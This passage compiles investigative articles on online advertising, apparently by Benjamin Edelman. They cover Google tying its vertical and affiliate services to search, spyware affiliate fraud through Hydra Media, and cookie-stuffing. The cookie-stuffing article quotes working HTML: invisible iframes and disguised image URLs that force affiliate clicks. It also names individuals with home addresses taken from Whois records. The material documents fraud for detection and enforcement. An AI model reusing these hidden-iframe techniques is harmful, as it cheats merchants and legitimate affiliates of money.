Details: Users relish Google’s highly-regarded algorithmic search results. But a user running search at Google also receives Google’s vertical search services: Whether the user prefers Bing Maps, Google Maps, Mapquest, or Yahoo Maps, Google Search always presents inline maps from Google, and so too for images, local businesses, products, scholarly articles, videos, and more. On one view, these vertical search services are an integral part of Google’s offering, but scores of competing vendors reflect a competing vision of users choosing core algorithmic search separately from vertical search services. By granting its special-purpose search services preferred placement, Google sharply reduces traffic to competing vertical search services.

Tying to promote ancillary mobile services : A mobile phone developer who wants Google’s Android certification and access to Android Market application store must also accept Google’s ancillary services, including geolocation.

Details: In a September 2010 complaint, Skyhook alleges that Google ordered Motorola not to ship a proposed device that would have included both Google Location Service and Skyhook’s XPS service, two distinct methods to determine a user’s geographic location. Skyhook claims that Google grounded its threat in Google’s Android Market application store: If Motorola shipped a device with software Google did not approve, Google would ban users of that device from accessing Android Market or running the apps available there. By requiring that Motorola omit Skyhook’s service in order to give users access to Google Market, Google denied users access to Skyhook.

Policy Prescriptions

Advertisers, consumers, policy-makers and the concerned public should give tying relationships a careful look. In principle, bundling previously-separate offerings can offer useful synergies and efficiencies. But bundling can also let a company expand from strength in one area into dominating numerous additional fields — limiting choice, raising prices, and reducing innovation.

In some instances, it may not be obvious how to separate bundled products. For example, there is currently no single clear mechanism whereby Google search results could embed maps, product feeds, or other structured or interactive information from other search services. Pending a compelling plan to unbundle vertical results from core search, my instinct is to save this problem for later — albeit perhaps requiring disclosure of favored treatment Google gives its own search services, or limiting the permissible extent of such favored treatment.

In other instances, market structure and product design yield a natural vision of products that could be separate, generally are separate, and should rightly remain separate. To my eye, these principles ring particularly true in the separation between search marketing and affiliate marketing. There is no logical reason why GAN advertisers should enjoy the only listings with images. Nor is there any logical reason why all GAN ads should appear above all right-side AdWords ads. When Google grants its GAN advertisers these special benefits, the best conclusion is that Google is using its dominance in search to establish dominance in affiliate marketing — seizing an unearned advantage over competing affiliate marketing services. These exclusionary tactics are unjustified and improper, and they ought not be permitted.

Google’s first step should be to cease tying Google Affiliate Network to preferred search placement, format, and terms: An advertiser seeking to include image ads should not have to sign up with GAN, nor should GAN ads arbitrarily appear above competitors. A recent post at Channel Dollars off-handedly reports that Product Listing Ads “has been taken out” GAN and “is being merged into” AdWords. That’s a fair start. But even temporary ties can impede competition, and Google has delivered these large benefits only to GAN advertisers for some ten months.

Meanwhile, Google’s preferred treatment of selected GAN advertisers foreshadows a worrisome future. If Google can give preferred treatment to advertisers who use GAN, what prevents preferred treatment of advertisers who support Google’s regulatory agenda, and inferior treatment of advertisers who complain to policy-makers? Indeed, I doubt that Google invited to Product Listing Ads any advertisers who have publicly criticized Google’s practices. Google’s ability to distribute valuable but opaque favors to preferred advertisers — and to withhold such favors from anyone Google dislikes — makes Google’s power that much stronger and, to my eye, that much more troubling.

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The Dark Underbelly of Online Advertising

Edelman, Benjamin. “The Dark Underbelly of Online Advertising.” HBR Now. (November 17, 2009).

The Internet is sold to advertisers as a highly measurable medium that is the most efficient way to target exactly the right customers. But online advertising is also easily subverted–letting fraudsters claim advertising fees for work they did not actually do. The trickiest frauds deceive advertisers so effectively that measurements of ad effectiveness report the fraudsters as exceptionally productive and high quality, rather than revealing that their traffic was actually worthless. This is a quiet scandal. In a time of tightening ad budgets, losses to advertising fraud come straight from the bottom line–but savings can be equally dramatic. Here’s a look behind the veil–an explanation of ad practices that have cheated even the Web’s largest advertisers. Advertising scams take plenty of victims, both witting and not, but I offer strategies to help determined marketers protect themselves.

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eBay Partner Network (teaching materials) with Ian Larkin

Edelman, Benjamin, and Ian Larkin. “eBay Partner Network (A).” Harvard Business School Case 910-008, September 2009. (Revised March 2015.) (educator access at HBP. request a courtesy copy.)

eBay considers adjustments to the structure and rules of its affiliate marketing program, eBay Partner Network (ePN). In particular, eBay reevaluates affiliate compensation structure, the role of bonuses for especially productive affiliates, and the overall rationale for outsourcing online marketing efforts to independent affiliates. The case presents the history and development of ePN, ePN’s importance to eBay, and the mechanics of online affiliate marketing.

Supplements:

eBay Partner Network (B) – Supplement (HBP 910009)

eBay Partner Network (C) – Supplement (HBP 910012)

eBay Partner Network (D) – Supplement (HBP 914016)

Teaching Materials:

eBay Partner Network (A), (B), (C), and (D) – Teaching Note (HBP 910025)

eBay Partner Network – slide supplement (HBP 911039)

eBay Partner Network – slide supplement (widescreen) (HBP 914040)

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Hydra Media’s Pop-Up Problem — Ten Examples

Late last month, I posted an example of Vomba using a Hydra Media affiliate link to defraud VistaPrint — charging VistaPrint for traffic VistaPrint would otherwise have received for free. This was only the second Hydra Media advertising fraud example I had posted on my public web site. (The first showed similar Blockbuster fraud in spring 2007.) So some might think Hydra Media doesn’t have a big adware, spyware problem. Indeed, that’s exactly what Hydra claimed in a comment to ReveNews.

Despite Hydra’s claims of appropriate and ethical behavior, my observations indicate the contrary. Looking back to June 2007, across all my AutoTester’s browsing, my AutoTester has seen a remarkable 1,343 instances of spyware sending traffic to/through Hydra Network — 56 incidents in the past two weeks alone.

Ten Specific Examples

Using my Automatic Spyware Tester, I recently found the following Hydra Media spyware/adware incidents.

Overwrites cookies of any other affiliates previously slated to receive commission for making a referral to the advertiser.

# Date Spyware Advertiser Traffic flow Hydra ID References
1 10/1/08 Zango Survey Club Zango > Hydra > Survey Club 27352 video, packet log
2 10/2/08 Outerinfo Bidz Outerinfo > MediaTraffic > Hydra > Bidz 17203 video, packet log
3 10/4/08 Vomba Gevalia Vomba > Hydra > Gevalia 15387 video, packet log
4 10/4/08 Vomba Gevalia Vomba > Offerweb > Hydra > Gevalia 5830 video, packet log
5 10/4/08 Vomba Video Professor Vomba > Hydra > Video Professor 6102 video, packet log
6 10/11/08 Zango Gevalia Zango > Hydra > Gevalia 11427 video, packet log
7 10/11/08 Vomba Gevalia Vomba > Doubleyourctr > Hydra > Gevalia 9136 video, packet log
8 10/11/08 Vomba Reunion.com Vomba > Artur2 > Hydra > AdShuffle > Reunion 28138 video, packet log
9 10/11/08 Targetsaver Reunion.com Targetsaver > Kchuentracking > Hydra > AdShuffle > Reunion 27039 video, packet log
10 10/12/08 WhenU Omaha Steaks WhenU > MediaTraffic > Tcshoppingdeals > Hydra > Omaha Steaks 7386 video, packet log
Effects: Targets advertiser with its own affiliate link — thereby charging the advertiser for traffic it would otherwise have received for free. See extended discussion in Auditing Spyware Advertising Fraud: Wasted Spending at VistaPrint.

These are just a fraction of the Hydra incidents my AutoTester observed during the past two weeks. But as the “Effects” entry notes, each of these incidents entails charging an advertiser for traffic the advertiser would otherwise have received for free — a strikingly poor deal for the advertiser. Moreover, each of these incidents entails a distinct Hydra affiliate ID, as shown by the ten unique values in the “Hydra ID” column.

Covering Their Tracks

It is difficult to know whether Hydra and the targeted merchants were aware that these affiliates were using spyware/adware to claim commissions on traffic merchants would otherwise have received for free. In principle it is possible that the affiliates told Hydra and the merchants what they were doing — though I find that unlikely at best. But in each instance, the packet logs reflect that these affiliates’ traffic to merchants did not affirmatively indicate that the traffic came from spyware or adware. In principle such designation could be provided by “sub=” tags on affiliate links, by HTTP Referer headers, or by other indications. But these packet logs include no such disclosure.

In incidents 9 and 10, it seems these affiliates and their spyware/adware partners took additional steps to cover their tracks. In incident 9, Targetsaver invoked the affiliate’s link to LynxtTrack and onwards to Reunion.com, without an on-screen Reunion window appearing, whether as a popup, popunder, Taskbar entry, or otherwise. See the incident 9 video — showing only a brief blip at 0:37 when Internet Explorer briefly loses then regains focus. (Notice the change in color of the Internet Explorer title bar.) With no meaningful on-screen display to report what occurred, even a sophisticated tester might fail to notice that an affiliate link had been invoked and affiliate cookies had been dropped. Incident 10 also reflects significant obfuscation: WhenU opened the affiliate’s link in a window that was initially blank (0:25-0:28). WhenU then moved the window off-screen, and even when I manually clicked the window’s Taskbar entry (video at 0:33), the window did not appear. Only by right-clicking and choosing Maximize (0:38) was I able to force the window to appear in the active screen space, letting me demonstrate and confirm that the window did indeed load the Omaha Steaks site through a Hydra affiliate link.

Taking from Other Affiliates

Not only do these affiliates charge merchants for traffic merchants should have received for free, but these affliates also take commissions that should have flowed to other affiliates. Suppose an ordinary web site affiliate (“A” for short) recommends, e.g., Gevalia. If a user clicks A’s affiliate link to Gevalia, and if a user later makes a purchase from Gevalia, then A is supposed to receive a commission on the sale. But if one of these spyware/adware-using affiliates jumps in with its own link, A gets nothing.

I first demonstrated this commission-stealing in July 2004. See my proof of Zango (then “180solutions”) claiming commissions that would otherwise be paid to other affiliates, as to traffic for Crucial, Freshpair, TGW, and Valuemags. This problem remains in full effect.

Legitimate rule-following affiliates rightly disdain spyware and adware for, among other reasons, their tendency to take commissions that would otherwise flow to legitimate affiliates. For example, my VistaPrint piece last month prompted a spirited response from Linda Buquet at the 5 Star Affiliate Programs Blog (“adware also steals from Vista Print’s HONEST AFFILIATES!”) and a discussion at affiliate forum ABestWeb.

Next Steps

In a recent MediaPost article, Hydra claimed it is “complying with the instructions [it has] been given.” Perhaps a few aggressive marketers are willing to look the other way on spyware and adware issues. But all of the advertisers listed above? All these companies are happy to pay commission on traffic they would otherwise have received for free? Pay commission for placements through spyware known to arrive on users’ computers without users’ consent? It strains credibility. By posting these examples, I intend to alert the corresponding advertisers to the nature of the traffic Hydra is sending them — letting the advertisers decide for themselves whether this is a suitable allocation of their marketing budgets. As detailed in my Wasted Spending at VistaPrint piece, my firm view remains that these placements offer advertisers no bona fide benefit, and that no fully-informed advertiser would willingly pay for such traffic.

Meanwhile, others are also observing Hydra placements through spyware and adware. In a comment at ReveNews, ShareASale CEO Brian Littleton noted that he sees Hydra affiliates using spyware and adware to cover and supersede traffic his company provides to advertisers — reducing earnings of ShareASale and ShareASale’s affiliates. Brian generously offers to provide Hydra with reports of these practices, and I encouraged Brian to post his findings on the web for all to see.

Hydra’s “AdControl” service promises “positive, proactive protection” to provide “control over where [advertisers’] ad[s] [are] placed.” Hydra says it “guards against compliance problems from every angle” to assure that ad placements are “safe[,] secure [and] profitable.” Furthermore, Hydra claims to provide “tough affiliate pre-screening and policing to assure quality.” I applaud these objectives, but it seems Hydra has more to do in order to deliver the ethical, compliant, profitable placements it has promised.

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CPA Advertising Fraud: Forced Clicks and Invisible Windows

At first glance, conversion-contingent advertising (cost-per-action / CPA, affiliate marketing) seems a robust way to prevent online advertising fraud. By paying partners only when a sale actually occurs, advertisers often expect to substantially eliminate fraud. After all, if commissions are only due when a user makes a purchase, what can go wrong? Unfortunately, this view is overly simplistic and, on balance, overly optimistic.

I’ve previously written at length about spyware and adware programs that watch a user’s web browsing in order to claim commission on sales that would have happened anyway. See last week’s examples of six different affiliates cheating VistaPrint through exactly this technique.

But CPA fraud does not require the use of spyware or adware on a user’s computer. To the contrary, I’ve seen plenty of CPA fraud that is entirely web based. Below I present three examples representative of this ongoing problem.

The Basic CPA Relationship

CPA advertising generally oblige an advertiser to pay a commission if three events occur:

  1. A user browses an affiliate’s web site;
  2. A user clicks a specially-coded link to a participant CPA merchant; and
  3. A user makes a purchase from that merchant.

The purchase in step 3 may occur immediately, i.e. within a single browsing session. But even if the purchase occurs shortly thereafter, e.g. a day later or even a few weeks later, a merchant will typically credit this purchase to the corresponding affiliate — on the view that the affiliate at least introduced the user to the merchant. This extended credit period is typically known as the “return-days period.”

Example 1: Couponcodesmall Forces Clicks to Drop Buy.com Cookies

The Couponcodesmall Site - Cookie-Stuffing Invisibly The Couponcodesmall Site – Cookie-Stuffing Invisibly

Some affiliates seek to bypass the user-click requirement (event 2 above) by simulating a click on an affiliate link using JavaScript. When the user merely visits the affiliate’s site, the affiliate forces the user’s browser to load an affiliate link — thereby placing affiliate cookies on the user’s PC, and claiming an affiliate commission if the user subsequently makes a purchase from the corresponding merchant.

In 2004, I presented 36 such examples in Cookie-Stuffing Targeting Major Affiliate Merchants, But the problem is ongoing.

In testing this month, I requested a page from Couponcodesmall, a top organic result for Google searches for “buy.com coupon” (without quotes). Couponcodesmall sent more than 65KB of HTML, followed by the following IFRAME:

<iframe SRC=”http://affiliate.buy.com/gateway.aspx?adid=17662&#038;aid=10389736&#038;pid=2705091&#038;sid=&#038;sURL=http%3A//www.buy.com/” WIDTH=5 HEIGHT=5 frameborder=”0″ scrolling=”no”></iframe>

I preserved a full packet log that shows this IFRAME in context. (Edit-Find on “IFRAME” to skip to the key section.) I also preserved a screen-capture video showing the cookies created after I requested this page — confirming the IFRAME‘s effect. As the HTML instructs, the IFRAME yields no visible on-screen indication — for the IFRAME‘s 5 pixel by 5 pixel size (blue highlighting) leaves too little space for the Buy.com site to be recognized.

Buy.com’s agreement with affiliates requires that affiliates comply with Commission Junction’s Publisher Service Agreement (PSA), and PSA rule 3.a grants credit only when a user “clicks through [a] Link[] to [an] Advertiser.” This affiliate’s IFRAME-delivered forced clicks exactly violate that requirement. If a user merely views this affiliate’s page, without clicking an ad or taking any other action, then this affiliate will receive a 3% to 5% commission on any purchase the user makes from Buy.com within the next 14 days, even though the user never clicked an affiliate link as required under the PSA.

I notified the affiliate program manager for Buy.com, and I gather that Buy.com is taking appropriate action.

Similar infractions remain easy to uncover. My automated testing systems typically uncover a dozen or more violations in a day of searching. I’ve also seen all manner of advances over the popups, popunders, and IMG tags I observed in 2004. For example, I now often observe cookie-stuffing using EMBED tags, OBJECT tags, HTML entity encoding, and doubly-encoded JavaScript.

Example 2: Allebrands Banner Ads Invisibly Load Affiliate Links

Other affiliates load affiliate links and drop affiliate cookies as users merely view a banner ad. From a rogue affiliate’s perspective, this attack is more effective than the attack in Example 1, for the affiliate need not get the user to visit the affiliate’s site. Instead, merely by viewing a banner ad on a third party web page, the affiliate can drop its cookies and obtain a commission on purchases users make from the targeted merchants within the return-days period.

That is, the affiliate bypasses both the user click requirement (event 2 above) as well as the browsing requirement (event 1 above). Removing this additional requirement lets the affiliate claim commission on more users’ browsing that much more easily.

To targeted merchants, this attack is importantly worse than the attack in Example 1. In particular, through this kind of attack, a merchant receives no promotional benefit whatsoever. Under this attack, merchants pay out commission only on sales that would have happened anyway — so every commission paid is entirely wasted.

I recently observed such an attack via a banner ad running on the Yahoo RightMedia Exchange. Merely by viewing an ad from Allebrands, a user’s computer was instructed to load three affiliate links, each in a 0x0 IFRAME. Below is the relevant portion of the HTML code (formatted for brevity and clarity):

GET /iframe3? …
…
Host: ad.yieldmanager.com
…

HTTP/1.1 200 OK
Date: Mon, 29 Sep 2008 05:36:02 GMT
…

<html><body style=”margin-left: 0%; margin-right: 0%; margin-top: 0%; margin-bottom: 0%”><script type=”text/javascript”>if (window.rm_crex_data) {rm_crex_data.push(1184615);}</script>
<iframe src=”http://allebrands.com/allebrands.jpg” width=”468″
height=”60″ scrolling=”no” border=”0″ marginwidth=”0″
style=”border:none;” frameborder=”0″></iframe></body></html>

GET /allebrands.jpg HTTP/1.1
…
Host: allebrands.com
…

HTTP/1.1 200 OK
…

<a href=’http://allebrands.com’ target=’new’><img src=’images/allebrands.JPG‘ border=0></a>
<iframe src =’http://click.linksynergy.com/fs-bin/click?id=Ov83T/v4Fsg&offerid=144797.10000067&type=3&subid=0′ width =’0’height = ‘0’ boder=’0′>
<iframe src =’http://www.microsoftaffiliates.net/t.aspx?kbid=9066&p=http%3a%2f%2fcontent.microsoftaffiliates.net%2fWLToolbar.aspx%2f&m=27&cid=8′ width =’0’height = ‘0’ boder=’0′>
<iframe src =’http://send.onenetworkdirect.net/z/41/CD98773′ width =’0’height = ‘0’ boder=’0′>

The three IFRAMEs (green highlighting) load three separate affiliate links in three separate windows. Because these windows are each set to be 0 pixels wide and 0 pixels tall (blue highlighting), they are all invisible.

I preserved a full packet log of the entire HTTP sequence — showing traffic flowing from the underlying Smashits web site to Right Media to Allebrands to the target affiliate programs. (Edit-Find on “allebrands” to skip to Allebrands’ code.) I also notified the targeted merchants — McAfee, Microsoft, and Symantec. They’re taking appropriate action.

Allebrands' Decoy Ad Allebrands’ Decoy Ad

Notice Allebrands’ tricky use of the misleadingly-named /allebrands.jpg URL (yellow highlighting). In particular, Allebrands instructed Right Media to send traffic to http://allebrands.com/allebrands.jpg — a .JPG extension, so seemingly an ordinary JPEG compressed image. But despite the URL’s extension, the URL actually provided ordinary HTML — creating the A HREF, IMG, and IFRAME‘s set out above. Meanwhile, if a user happened to look at this ad, the user would see only the http://allebrands.com/images/allebrands.JPG image specified by the IMG tag (pink highlighting; image shown at right). Because the IFRAMEs are invisible (blue highlighting), the IFRAMEs yield no on-screen display whatsoever.

In my testing, Allebrands distributed its rogue banner ad via a variety of web sites. One that particularly caught my eye was Smashits, a spyware-delivered banner farm which buys widespread pop-up traffic and shows voluminous ads. Beyond Smashits’ dubious traffic origins, Smashits is also notable for its placement of ads in invisible windows: Via the two-row FRAMESET presented below, Smashits creates a 0-pixel-tall “part1” frame of /audio/empty.html, which in turn ultimately displays the Allebrands ad at issue.

<FRAMESET ROWS=”0,*” FRAMEBORDER=0 FRAMEPADDING=0 FRAMESPACING=0 BORDER=0>
  <FRAME name=part1 SRC=”http://ww.smashits.com/audio/empty.html” NORESIZE MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=”no”>
  <FRAME name=part1a SRC=”http://ww.smashits.com/spindex_02.html” NORESIZE MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=”yes”>
</FRAMESET>

Reviewing the packet log in the context of my prior observations of Smashits’ spyware-originating traffic, the full sequence of relationships proceeds as follows: A variety of spyware sends traffic to Smashits (often via the MyGeek / AdOn Network / Mynaagencies run-of-network ad loader), and some users may affirmatively request the Smashits site. Smashits creates a 0-pixel-tall FRAME row in which to load ads off-screen. In that frame Smashits sends traffic to Traffic Marketplace, which redirects the traffic to Theadhost, which redirects it to RightMedia Exchange, which selects an ad from Allebrands, which stuffs cookies to claim commission from the three target affiliate programs.

Who is Allebrands? Allebrands’ web site offers no contact information, and Allebrands’ Whois is equally uninformative. But Allebrands’ DNS servers reside within creativeinnovationgroup.com, and Creativeinnovationgroup’s Whois references a Simon Brown at 700 Settlement Street in Cedar Park, Texas. Google Maps confirms that this is a bona fide address — seemingly a residential unit in a development.

Example 3: Avxf Stuffing Amazon and Hostgator Cookies through Signature IMG Tags in DealOfDay Forum

In Example 1, Couponcodesmall managed to lure a user to its own web site — in part through successful search engine optimization. In Example 2, Allebrands bought traffic from Right Media. In this Example 3, affiliate rogue Avxf manages to stuff cookies using others’ traffic — without paying for that traffic.

To get traffic, Avxf places images in the footer of a message it posts to a DealOfDay.com forum discussion. The associated HTML:

Originally Posted by <strong>somerset1106</strong> …

Ditto. I am still researching some other sites that are similar. If I find out any information I will keep ya posted. …

<img src=”http://www.avxf.com/img16.jpg” border=”0″ alt=”” /><img src=”http://www.avxf.com/img17.jpg” border=”0″ alt=”” />

Avxf’s footer specified two .JPG URLs, /img16.jpg and /img17.jpg — seemingly image files based on their use of the standard .JPG file extension. But in fact these URLs redirect to affiliate programs for HostGator and Amazon:

GET /img16.jpg HTTP/1.1
…
Host: www.avxf.com

HTTP/1.1 302 Found
…
Location: http://secure.hostgator.com/cgi-bin/affiliates/clickthru.cgi?id=dsplcmnt01
…

GET /img17.jpg HTTP/1.1
…
Host: www.avxf.com

HTTP/1.1 302 Found
…
Location: http://www.amazon.com/?Fencoding=UTF8&tag=qufrho-20

Avxf Cookie-Stuffing in DealOfDay Forum - The Resulting On-Screen Display Avxf Cookie-Stuffing:
The Resulting On-Screen Display

The resulting two pages then go on to drop affiliate cookies as usual. Thus, if a user makes a purchase at Amazon or Hostgator within their associated return-days periods, then Avxf gets paid a commission. The only on-screen indication of cookies being dropped is the two “broken image” icons shown at right — indications that something is missing, but in no way sufficient to inform a typical user (or even many advertising professionals) of what is occurring. Nonetheless, if a targeted user makes a purchase from Amazon within 24 hours of receiving Avxf’s forced click, or if a targeted user signs up with Hostgator within 30 days, then Avxf receives a commission.

I preserved a full packet log of the underlying HTML and redirects, showing Avxf’s images and redirects in context. (Edit-Find on “avxf” to skip to the code at issue.) I also preserved a screen-capture video confirming the destinations of the broken images.

Avxf’s practices violate applicable policies at Amazon and Hostgator. Amazon’s Associates program allows credit only if a customer “click[s] through” a special link (agreement 4¶1), whereas no click occurs in the example shown above. Furthermore, Amazon specifically prohibits atempts to “caus[e] any page of the Amazon Site to open in a customer’s browser other than as a result of hte customer clicking on a Special Link on [an affiliate’s] site” (agreement 4¶4). Similarly, the HostGator Affiliate Agreement prohibits the similar practice of forcing clicks through IFRAMEs (except “on pages or sites in which the other content represented on the site is related to HostGator” — an exception unavailable here, since the DealOfDay site is entirely unrelated to HostGator).

Who is Avxf? The Avxf web site offers adult content, but no mailing address on its Contact Us page. However, the site’s Whois offers a name and address: Kyle Hahn of Muncie, Indiana. Google Maps confirms the existence of the specified address, 480 W Skyway Drive.

Consequences – Winners and Losers

I see five basic consequences of these commission schemes:

  1. Fraudsters win from the bogus commission they receive, despite failing to provide merchants with a bona fide marketing benefit.
  2. Merchants pay extra commissions without getting anything in return. In particular, merchants pay commission on sales they would have made anyway. Moreover, merchants overestimate the effectiveness of their CPA marketing programs: Merchants mistakenly conclude that their CPA programs yielded sales that in fact would have happened anyway.
  3. Legitimate affiliates lose commissions that are seized by fraudsters. Whenever an ordinary affiliate was about to receive a commission, but one of these fraudsters jumps in to claim the commission instead, the first affiliate loses a commission it had fairly earned.
  4. Advertising intermediaries profit from the additional commissionable sales that purportedly occur. Affiliate networks typically charge merchants in proportion to the number (or dollar value) of commissionable sales. So every time a rogue affiliate claims commission improperly, the merchant must pay additional fees to the affiliate network.
  5. Affiliate marketing staff typically benefit, directly or indirectly, from growth in the reported size of their affiliate programs. For example, an affiliate manager might earn a bonus for rapid quarter-over-quarter growth in affiliate program size.

In principle, merchants’ losses to fraud should encourage merchants to prevent such scams. But in practice, many merchants fall victim to these attacks. Why?

For one, enforcement requires fact-intensive technical investigation — examining HTML code and packet logs to uncover infractions. The required skills have little overlap with the relationship-building and communication that otherwise drive affiliate marketing.

For some merchants and networks, mixed incentives further hinder efforts to prevent these fraudulent practices. In the short run, affiliate networks and merchants’ in-house affiliate marketing staff stand to lose from rigorous enforcement — reducing their commissionable base, reducing the size of their marketing programs, and distracting their attention from activities that more directly increase their respective short-run compensation. Thus, in the short run, both groups may perceive that they can increase their profits by deemphasizing fraud prevention.

Of course, in the long run, affiliate networks have reputations to protect. Similarly, affiliate marketing staff must consider their duties to their employers; in the long run, employers may learn about these scams and think unfavorably of marketing staff who failed to take effective action to uncover improper practices.

Large Merchants at Heightened Risk

For many cookie-stuffing attacks, large merchants are at highest risk. For example, Avxf is essentially betting that the users who read DealOfDay will subsequently go on to make purchases from Amazon. As to Amazon, that’s a safe bet, for many users buy from Amazon with remarkable regularity. But if Avxf were to target a lesser-known merchant, it would face tougher odds and lower earnings.

Thus, these random cookie-stuffing attacks (as in Examples 2 and 3) tend to target large merchants. In contrast, SEO-based attacks, as in Example 1, can prey on CPA merchants of any size.

Prevention and Response

For merchants and networks seeking to uncover and prevent these practices, I see three clear ways forward:

  • Analyze statistics already on hand . Look for unusually high click-through rates, unusually low conversion rates, blank or unexpected HTTP Referer headers, unusual HTTP User-Agent headers, long delays between clicks and sales, and other errata. But beware of affilates who manage to manipulate these statistics.
  • Provide a report / complaint page. It’s surprisingly difficult for independent affiliates, users and researchers to report fraud to many online marketers. But such reports can be extremely useful — particularly when gathered by those with a special interest in catching these scams. There’s ample evidence that affiliates enjoy reporting scams: In the ParasiteWare forum at ABestWeb, affiliates and others analyze and reveal improper marketing practices; some merchants pay bounties to anyone reporting fraud by their affiliates (1, 2).
  • Conduct hands-on testing. Browse the web looking for such scams. Run a network monitor to detect any unexpected “click” events. Or, design appropriate software to conduct such tests automatically.

Separately, merchants and networks can sensibly deter violations through tough penalties. At present, affiliates face little downside to attempting to defraud most merchants. In Deterring Online Advertising Fraud Through Optimal Payment in Arrears, I suggest a different approach — paying affiliates more slowly so that they face greater losses if they are found to be cheating. Meanwhile, some merchants have resorted to suing fraudulent affiliates. See eBay v. Digital Point Solutions (accusing affiliates of cookie stuffing through invisible code claiming unearned commissions — like the examples above) and Lands’ End v. Remy (accusing affiliates of typosquatting on Lands’ End trademarks and redirecting to Lands’ End’s LinkShare affiliate links).

More generally, merchants ought not assume infallibilityof their online marketing schemes. Certainly CPA marketing programs avoid some of the more obvious problems of pay-per-click marketing (e.g. click fraud), but CPA campaigns remain vulnerable to other kinds of abuse. Shrewd merchants should anticipate what can go wrong, and design and audit accordingly.

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Spyware Still Cheating Merchants and Legitimate Affiliates updated May 22, 2007

Spyware vendors are trying to clean up their images. For example, Zango settled a FTC investigation, then last week sued PC Tools for detecting and removing Zango software. Meanwhile, Integrated Search Technologies (makers of a variety of software previously widely installed without consent) introduced a new “Vomba” client that even received “provisional” TRUSTe Trusted Download certification.

But these programs’ core designs are unchanged: They still track user behavior, still send browsing to their central servers, and still show pop-up ads — behaviors users rightly disfavor due to serious effects on privacy and productivity.

Putting aside users’ well-known dislike for pop-ups, these programs also continue to interfere with standard online advertising systems. In particular, these programs show ads that overcharge affiliate merchants — especially by claiming commission on organic traffic merchants would have received anyway. This article presents six specific examples, followed by analysis and strategies for enforcement.

The Self-Targeting Scam and an Initial Example: Zango, Roundads, and Performics Claiming Commissions on Blockbuster’s Organic Traffic

Putting spyware vendors’ practices in the best possible light, they perform a comparative advertising function — offering a competitor when a user browses a merchant’s site. But suppose a spyware vendor instead shows a “competitor” that is actually just a commission-earning link to the very site the user had specifically requested. Then, if the user buys from that merchant (through either the original window or the new pop-up, in general), the merchant has to pay a commission to the spyware vendor (or its advertiser or affiliate).

Zango, Roundads, Performics Targeting Blockbuster Zango, Roundads, Performics Targeting Blockbuster

For concreteness, consider the events shown in the screenshot at right and in video. On May 13, my automated testing system browsed Blockbuster. Observing the requested traffic to Blockbuster, Zango opened a popup sending traffic to Roundads.com. Roundads redirected to Performics and then back to Blockbuster. To a typical user, this pop-up is easy to ignore — just a second copy of the Blockbuster site, which users had requested in the first place. But the pop-up has serious cost implications for Blockbuster: If the user signs up with Blockbuster, through either window, then Blockbuster concludes it should pay a $18 commission to Roundads via Performics. That’s a sham: Were it not for Zango’s intervention, Blockbuster could have kept the entirety of the user’s subscription fee, without paying any commission at all.

Zango’s activity here doesn’t even meet the definition of advertising (“attracting public attention to a product or business”). After all, the user was already at Blockbuster — and hence can’t be said to have been “attract[ed]” to that site by Zango’s action.

Unless Blockbuster installs Zango’s software and runs its own tests, Blockbuster is likely to conclude (mistakenly) that Roundads has provided a bona fide lead to a new customer. Indeed, since Blockbuster’s preexisting web site visitors are likely to “convert” to buyers at a high rate (compared to visitors who only arrive thanks to advertising), Blockbuster’s advertising metrics (and Performics’ tracking measurements) are likely to consider Roundads an unusually high-quality affiliate thanks to Roundads’ likely high conversion rate. Blockbuster might even pay Roundads a bonus — when in fact this Roundads traffic is worthless.

URL log of the traffic at issue:

http://tvf.zango.com/showme.aspx?…CD=www.blockbuster.com…
http://ads.roundads.com/ads/clickcash.aspx?keyword=.blockbuster.com
http://clickserve.cc-dt.com/link/tplclick?lid=41000000005307215&pubid=…
https://www.blockbuster.com/signup/rp/regPlan/p.25216/c.firstMonth999F…

For more on these self-targeting pop-ups, targeting merchants’ sites with their own affiliate links, see my earlier The Effect of 180solutions on Affiliate Commissions and Merchants (2004).

On these facts, Blockbuster might reasonably blame Roundads — the entity that purchased the traffic from Zango and put in motion the self-targeting scheme. Investigating Roundads’ identity, Blockbuster will notice Roundads.com’s footer — which states that Roundads is one and the same as Thermo Media / Affiliate Fuel, which credit reporting agency Experian acquired in April 2005. (Update, May 22: Joey Flores, Director of Operations for Affiliate Fuel, wrote to me to report that Roundads has no affiliation with Affiliate Fuel, Thermo Media, or Experian. Joey suggests that Roundads “‘borrowed’ from [Thermo Media’s] site design … and their designers got a little copy happy, including [copying] our copyright information on[to] their site.”)

Blockbuster might also blame Performics. Performics specifically touts its affiliate network as offering “cost-effective” advertising. But in this example, the cost was a total waste, yielding no benefit whatsoever. Performics further promises “quality affiliates” — an important benefit to merchants who might not otherwise know which affiliates to accept. But in this instance, by all indications Performics failed to protect Blockbuster from Roundads’ bad actions and improper charges.

Finally, Blockbuster might blame Zango — whose pop-up generating software made it remarkably easy for Roundads to target Blockbuster’s organic traffic.

Example 2: Vomba, Ccg360, Lynxtrack (Hydra Network), Adrevolver (Blue Lithium) Claiming Commissions on Blockbuster’s Organic Traffic

Vomba, Ccg360, Lynxtrack (Hydra), Adrevolver (BlueLithium) Overcharging Blockbuster Vomba, Ccg360, Lynxtrack (Hydra), Adrevolver (BlueLithium)

Blockbuster’s online advertising is widespread, and the preceding example is but one of many schemes that charge Blockbuster commission it ought not have to pay. This section shows another.

In the screenshot shown at right, reflecting testing of May 11, my automated testing system requested the Blockbuster site. Vomba spyware observed that I was at Blockbuster, and sent traffic to Ccg360 (purportedly Nelson Cheung of Markham, Canada). Ccg360 redirected to Lynxtrack.com (Hydra Network of Beverly Hills, California), which redirected to Adrevolver (BlueLithium of San Jose, California) and finally back to Blockbuster.

As in the prior example, the net effect was to claim commission on Blockbuster’s organic traffic. If the user signs up with Blockbuster, Blockbuster will pay a commission to the sequence of companies that forwarded the Vomba-originating traffic. But had those parties not intervened with that pop-up, Blockbuster would still have closed the sale — without incurring a commission expense. So as in the prior example, this is self-targeting, charging Blockbuster a commission without providing any bona fide value in return.

URL log of the traffic at issue:

http://services.vombanetwork.com/vomba/popup.php
http://blockbuster.med.ccg360.com
http://www.lynxtrack.com/afclick.php?o=3318&b=zm00z1tf&p=11566&l=1&s=med
http://track.adrevolver.com/service.php/16520/1893/11566
https://www.blockbuster.com/signup/s/reg/p.26715/pc.blwm9.99/r./

Example 3: Vomba and LinkShare Claiming Commissions on Netflix’s Organic Traffic

Vomba and LinkShare Claiming Commission on Netflix's Organic Traffic Vomba, LinkShare Claiming Commission on Organic Traffic

